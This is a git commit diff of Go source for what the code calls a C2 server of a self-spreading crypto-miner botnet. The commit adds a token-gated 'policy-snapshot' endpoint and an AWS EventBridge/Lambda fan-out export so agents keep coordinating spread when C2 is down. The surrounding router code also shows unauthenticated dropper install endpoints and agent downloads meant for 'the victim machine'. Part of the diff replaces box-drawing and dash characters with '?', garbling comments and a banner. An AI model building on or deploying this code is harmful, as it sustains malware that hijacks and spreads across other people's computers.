Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
@@ -1,42 +1,6 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
import "testing"
|
||||
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
func TestAttachCloudMapRouteVia(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfg := map[string]interface{}{
|
||||
"server": map[string]interface{}{
|
||||
"cloud_map_namespace": "prod.local",
|
||||
"cloud_map_service": "seeder",
|
||||
},
|
||||
}
|
||||
data, _ := json.Marshal(cfg)
|
||||
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &DeployPlanHandler{dataDir: dir}
|
||||
body := DeployPlanBody{}
|
||||
h.attachCloudMapRouteVia(&body)
|
||||
if body.SpreadRouteHint == nil || body.SpreadRouteHint.RouteVia != "seeder.svc.prod.local" {
|
||||
t.Fatalf("hint=%+v", body.SpreadRouteHint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
h := &DeployPlanHandler{dataDir: dir}
|
||||
body := DeployPlanBody{
|
||||
SpreadRouteHint: &spreadrouter.SpreadRouteHint{RouteVia: "custom.svc.lab.local"},
|
||||
}
|
||||
h.attachCloudMapRouteVia(&body)
|
||||
if body.SpreadRouteHint.RouteVia != "custom.svc.lab.local" {
|
||||
t.Fatalf("route_via=%q", body.SpreadRouteHint.RouteVia)
|
||||
}
|
||||
}
|
||||
func TestAttachCloudMapRouteVia(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
|
||||
func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build ignore
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build ignore
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
|
||||
308
server/internal/api/policy_snapshot.go
Normal file
308
server/internal/api/policy_snapshot.go
Normal file
@@ -0,0 +1,308 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// PolicySnapshot is the degraded-mode policy bundle agents poll or receive via EventBridge relay.
|
||||
type PolicySnapshot struct {
|
||||
GenesisVersion int `json:"genesis_version"`
|
||||
HospiceList []string `json:"hospice_list"`
|
||||
VaccinationLanes []PolicyVaccinationLane `json:"vaccination_lanes"`
|
||||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
||||
GeneratedAt string `json:"generated_at,omitempty"`
|
||||
}
|
||||
|
||||
// PolicyVaccinationLane maps a paused subnet to a Path Tracer vaccination route hint.
|
||||
type PolicyVaccinationLane struct {
|
||||
Subnet string `json:"subnet"`
|
||||
Lane json.RawMessage `json:"lane,omitempty"`
|
||||
}
|
||||
|
||||
// PolicyFanoutConfig supplies token, relay URL, and public base for snapshot URLs.
|
||||
type PolicyFanoutConfig struct {
|
||||
Token string
|
||||
RelayURL string
|
||||
PublicBaseURL func() string
|
||||
}
|
||||
|
||||
func policySnapshotPollURL(cfg PolicyFanoutConfig) string {
|
||||
token := strings.TrimSpace(cfg.Token)
|
||||
if token == "" {
|
||||
return ""
|
||||
}
|
||||
base := strings.TrimRight(strings.TrimSpace(cfgPublicBase(cfg)), "/")
|
||||
if base == "" {
|
||||
base = "http://127.0.0.1:8989"
|
||||
}
|
||||
return base + "/api/v1/public/policy-snapshot/" + token
|
||||
}
|
||||
|
||||
func cfgPublicBase(cfg PolicyFanoutConfig) string {
|
||||
if cfg.PublicBaseURL == nil {
|
||||
return ""
|
||||
}
|
||||
return cfg.PublicBaseURL()
|
||||
}
|
||||
|
||||
// BuildPolicySnapshot assembles genesis version, hospice strains, and vaccination lanes.
|
||||
func BuildPolicySnapshot(db *dbpkg.Database, pathTracer *PathTracerHandler, cfg PolicyFanoutConfig) (PolicySnapshot, error) {
|
||||
snap := PolicySnapshot{
|
||||
EventBridgeRelayURL: strings.TrimSpace(cfg.RelayURL),
|
||||
PolicyPollURL: policySnapshotPollURL(cfg),
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
if db == nil {
|
||||
return snap, nil
|
||||
}
|
||||
gen, err := db.MaxSpreadGeneration()
|
||||
if err != nil {
|
||||
return snap, err
|
||||
}
|
||||
snap.GenesisVersion = gen
|
||||
hospiceSet, err := db.HospiceStrainSet()
|
||||
if err != nil {
|
||||
return snap, err
|
||||
}
|
||||
for id := range hospiceSet {
|
||||
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
||||
snap.HospiceList = append(snap.HospiceList, id)
|
||||
}
|
||||
}
|
||||
prefixes, err := db.ListPausedSubnetPrefixes()
|
||||
if err != nil {
|
||||
return snap, err
|
||||
}
|
||||
for _, prefix := range prefixes {
|
||||
entry := PolicyVaccinationLane{Subnet: prefix}
|
||||
if pathTracer != nil {
|
||||
if hint := pathTracer.RecommendSpreadRoute(prefix, "", ""); hint != nil {
|
||||
if raw, err := json.Marshal(toSpreadRouteHintDTO(hint)); err == nil {
|
||||
entry.Lane = raw
|
||||
}
|
||||
}
|
||||
}
|
||||
snap.VaccinationLanes = append(snap.VaccinationLanes, entry)
|
||||
}
|
||||
return snap, nil
|
||||
}
|
||||
|
||||
type spreadRouteHintDTO struct {
|
||||
SeedAgentID string `json:"seed_agent_id,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
func toSpreadRouteHintDTO(h *spreadrouter.SpreadRouteHint) spreadRouteHintDTO {
|
||||
if h == nil {
|
||||
return spreadRouteHintDTO{}
|
||||
}
|
||||
return spreadRouteHintDTO{
|
||||
SeedAgentID: h.SeedAgentID,
|
||||
EgressAgentID: h.EgressAgentID,
|
||||
JoinLane: h.JoinLane,
|
||||
Score: h.Score,
|
||||
ClearanceLevel: h.ClearanceLevel,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) SetPolicyFanoutConfig(token, relayURL string, publicBase func() string) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.policySnapshotToken = strings.TrimSpace(token)
|
||||
h.policyEventBridgeRelayURL = strings.TrimSpace(relayURL)
|
||||
h.policyPublicBaseURL = publicBase
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) policyFanoutConfigLocked() PolicyFanoutConfig {
|
||||
return PolicyFanoutConfig{
|
||||
Token: h.policySnapshotToken,
|
||||
RelayURL: h.policyEventBridgeRelayURL,
|
||||
PublicBaseURL: h.policyPublicBaseURL,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) policyFanoutSpreadFields() map[string]interface{} {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
h.mu.RLock()
|
||||
cfg := h.policyFanoutConfigLocked()
|
||||
pollURL := policySnapshotPollURL(cfg)
|
||||
relay := strings.TrimSpace(cfg.RelayURL)
|
||||
h.mu.RUnlock()
|
||||
if pollURL == "" && relay == "" {
|
||||
return nil
|
||||
}
|
||||
out := map[string]interface{}{}
|
||||
if pollURL != "" {
|
||||
out["policy_snapshot_poll_url"] = pollURL
|
||||
}
|
||||
if relay != "" {
|
||||
out["eventbridge_relay_url"] = relay
|
||||
}
|
||||
if h.db != nil {
|
||||
if gen, err := h.db.MaxSpreadGeneration(); err == nil {
|
||||
out["genesis_version"] = gen
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *PublicHandler) BindPolicySnapshot(buildFn func() (PolicySnapshot, error), tokenFn func() string) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.policySnapshotFn = buildFn
|
||||
h.policySnapshotTokenFn = tokenFn
|
||||
}
|
||||
|
||||
// GET /api/v1/public/policy-snapshot/{token}
|
||||
func (h *PublicHandler) PolicySnapshot(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.policySnapshotFn == nil || h.policySnapshotTokenFn == nil {
|
||||
http.Error(w, "policy snapshot unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
want := strings.TrimSpace(h.policySnapshotTokenFn())
|
||||
got := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||
if want == "" || got != want {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
snap, err := h.policySnapshotFn()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, snap)
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) BindPolicyFanout(pathTracer *PathTracerHandler, cfgFn func() PolicyFanoutConfig) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.policyPathTracer = pathTracer
|
||||
h.policyFanoutCfgFn = cfgFn
|
||||
}
|
||||
|
||||
type policyFanoutExportRequest struct {
|
||||
WebhookURL string `json:"webhook_url"`
|
||||
RelayURL string `json:"relay_url"`
|
||||
ServerURL string `json:"server_url"`
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/policy-fanout
|
||||
func (h *SpreadHandler) GetPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.policyFanoutCfgFn == nil {
|
||||
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
cfg := h.policyFanoutCfgFn()
|
||||
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"snapshot": snap,
|
||||
"poll_url": snap.PolicyPollURL,
|
||||
"templates": policyFanoutTemplatePaths(),
|
||||
"static_templates": "/spread/aws/",
|
||||
"export_endpoint": "/api/v1/spread/policy-fanout-export",
|
||||
"instructions": "Deploy CloudFormation or EventBridge rule + Lambda; Lambda POSTs snapshots to your relay URL or agents poll poll_url directly.",
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/spread/policy-fanout-export
|
||||
func (h *SpreadHandler) ExportPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.policyFanoutCfgFn == nil {
|
||||
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req policyFanoutExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid json", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cfg := h.policyFanoutCfgFn()
|
||||
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = strings.TrimRight(cfgPublicBase(cfg), "/")
|
||||
}
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
webhookURL := strings.TrimSpace(req.WebhookURL)
|
||||
if webhookURL == "" {
|
||||
webhookURL = strings.TrimSpace(req.RelayURL)
|
||||
}
|
||||
if webhookURL == "" {
|
||||
webhookURL = strings.TrimSpace(cfg.RelayURL)
|
||||
}
|
||||
pollURL := snap.PolicyPollURL
|
||||
if pollURL == "" {
|
||||
pollURL = policySnapshotPollURL(cfg)
|
||||
}
|
||||
snapJSON, _ := json.MarshalIndent(snap, "", " ")
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": serverURL,
|
||||
"{{POLICY_POLL_URL}}": pollURL,
|
||||
"{{WEBHOOK_URL}}": webhookURL,
|
||||
"{{SNAPSHOT_JSON}}": string(snapJSON),
|
||||
}
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "spread", "aws", "policy-fanout")
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, "aetherforge-policy-fanout.zip", data)
|
||||
}
|
||||
|
||||
func policyFanoutTemplatePaths() []string {
|
||||
return []string{
|
||||
"templates/spread/aws/policy-fanout/cloudformation.json",
|
||||
"templates/spread/aws/policy-fanout/eventbridge-rule.json",
|
||||
"templates/spread/aws/policy-fanout/lambda/index.js",
|
||||
"templates/spread/aws/policy-fanout/README.txt",
|
||||
}
|
||||
}
|
||||
|
||||
func buildFanoutBundleJSON(cfg PolicyFanoutConfig, snap PolicySnapshot) ([]byte, error) {
|
||||
doc := map[string]interface{}{
|
||||
"poll_url": snap.PolicyPollURL,
|
||||
"eventbridge_relay_url": snap.EventBridgeRelayURL,
|
||||
"snapshot": snap,
|
||||
"token": strings.TrimSpace(cfg.Token),
|
||||
}
|
||||
return json.MarshalIndent(doc, "", " ")
|
||||
}
|
||||
|
||||
func fanoutBundleJSONOrError(cfg PolicyFanoutConfig, snap PolicySnapshot) string {
|
||||
raw, err := buildFanoutBundleJSON(cfg, snap)
|
||||
if err != nil {
|
||||
return fmt.Sprintf(`{"error":%q}`, err.Error())
|
||||
}
|
||||
return string(raw)
|
||||
}
|
||||
126
server/internal/api/policy_snapshot_test.go
Normal file
126
server/internal/api/policy_snapshot_test.go
Normal file
@@ -0,0 +1,126 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
now := time.Now().UTC()
|
||||
if err := d.UpsertAgent(&models.Agent{
|
||||
ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.UpsertAgent(&models.Agent{
|
||||
ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{
|
||||
Token: "tok123",
|
||||
PublicBaseURL: func() string { return "https://c2.example" },
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if snap.GenesisVersion != 7 {
|
||||
t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion)
|
||||
}
|
||||
if len(snap.HospiceList) == 0 {
|
||||
t.Fatal("expected hospice list")
|
||||
}
|
||||
if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" {
|
||||
t.Fatalf("poll url=%q", snap.PolicyPollURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPublicPolicySnapshotEndpoint(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
||||
h.BindPolicySnapshot(
|
||||
func() (PolicySnapshot, error) {
|
||||
return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil
|
||||
},
|
||||
func() string { return "secret-token" },
|
||||
)
|
||||
r := chi.NewRouter()
|
||||
r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot)
|
||||
req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("wrong token status=%d", rec.Code)
|
||||
}
|
||||
req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil)
|
||||
rec = httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body PolicySnapshot
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body.GenesisVersion != 2 || len(body.HospiceList) != 1 {
|
||||
t.Fatalf("body=%+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFanoutBundleJSON(t *testing.T) {
|
||||
snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"}
|
||||
raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if doc["token"] != "abc" {
|
||||
t.Fatalf("token=%v", doc["token"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportPolicyFanoutZIP(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d))
|
||||
sh.BindPolicyFanout(nil, func() PolicyFanoutConfig {
|
||||
return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }}
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
sh.ExportPolicyFanout(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
|
||||
t.Fatalf("content-type=%q", ct)
|
||||
}
|
||||
}
|
||||
@@ -27,6 +27,8 @@ type PublicHandler struct {
|
||||
dataDir string
|
||||
configFn func() PublicBuildsConfig
|
||||
erasureShards *erasure.ShardStore
|
||||
policySnapshotFn func() (PolicySnapshot, error)
|
||||
policySnapshotTokenFn func() string
|
||||
}
|
||||
|
||||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||||
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
)
|
||||
|
||||
// authSessionCache avoids running bcrypt on every API request.
|
||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
||||
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
|
||||
// Entries are valid for authCacheTTL after the last successful login.
|
||||
// Bcrypt only runs on cache miss or expiry.
|
||||
var (
|
||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
||||
|
||||
func formatLoginBanner(creds map[string]string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
b.WriteString("\n????????????????????????????????????????????????????\n")
|
||||
b.WriteString("? AetherForge ? Dashboard Login ?\n")
|
||||
b.WriteString("? ?\n")
|
||||
users := make([]string, 0, len(creds))
|
||||
for user := range creds {
|
||||
users = append(users, user)
|
||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
||||
sort.Strings(users)
|
||||
for _, user := range users {
|
||||
pass := creds[user]
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
|
||||
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
|
||||
b.WriteString("? ?\n")
|
||||
}
|
||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||
b.WriteString("? Also saved in data/login-credentials.json ?\n")
|
||||
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
|
||||
b.WriteString("????????????????????????????????????????????????????\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
||||
|
||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||
// must not trigger that — only bare browser navigations without these headers should.
|
||||
// must not trigger that ? only bare browser navigations without these headers should.
|
||||
func isSPAAuthRequest(r *http.Request) bool {
|
||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||
}
|
||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
path := r.URL.Path
|
||||
|
||||
// Health check and one-liner installer endpoints are always open.
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list ?
|
||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||
// legitimately forged agents can call these endpoints.
|
||||
// A missing or empty fleet secret is always rejected — the server auto-
|
||||
// A missing or empty fleet secret is always rejected ? the server auto-
|
||||
// generates one at startup so this state should never occur in production.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
return
|
||||
}
|
||||
|
||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
||||
// Fast path ? skip bcrypt if this credential pair was recently validated.
|
||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||
if !authCacheHit(user, pass) {
|
||||
usersMu.RLock()
|
||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
// Credential verified — cache it for the next few minutes.
|
||||
// Credential verified ? cache it for the next few minutes.
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
AllowCredentials: false,
|
||||
}))
|
||||
|
||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
r.Route("/api/v1", func(r chi.Router) {
|
||||
r.Use(basicAuthMiddleware)
|
||||
h := NewHandler(database)
|
||||
@@ -654,6 +654,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
if wsHub != nil {
|
||||
@@ -680,7 +682,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
|
||||
// Forged agents with the old secret will be rejected until re-forged.
|
||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||
if rotateSecretFn == nil {
|
||||
@@ -734,11 +736,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||
// Deck backup ? authenticated full backup ZIP (config + DB + users)
|
||||
backupH := NewBackupHandler(dataDir, version)
|
||||
r.Get("/backup", backupH.ServeHTTP)
|
||||
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
// Path Tracer ? on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
@@ -751,7 +753,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
}
|
||||
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
@@ -768,7 +770,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
}
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
// Public builds (also bypass auth in middleware ? listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
@@ -777,6 +779,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -784,7 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
@@ -792,7 +795,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
|
||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||
// Unauthenticated (the drop URL itself is the secret).
|
||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||
@@ -897,8 +900,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||
//
|
||||
// Filename convention (same as what the build pipeline produces):
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// - windows ? crypto-miner-agent.exe
|
||||
// - mac/linux ? crypto-miner-agent (no extension)
|
||||
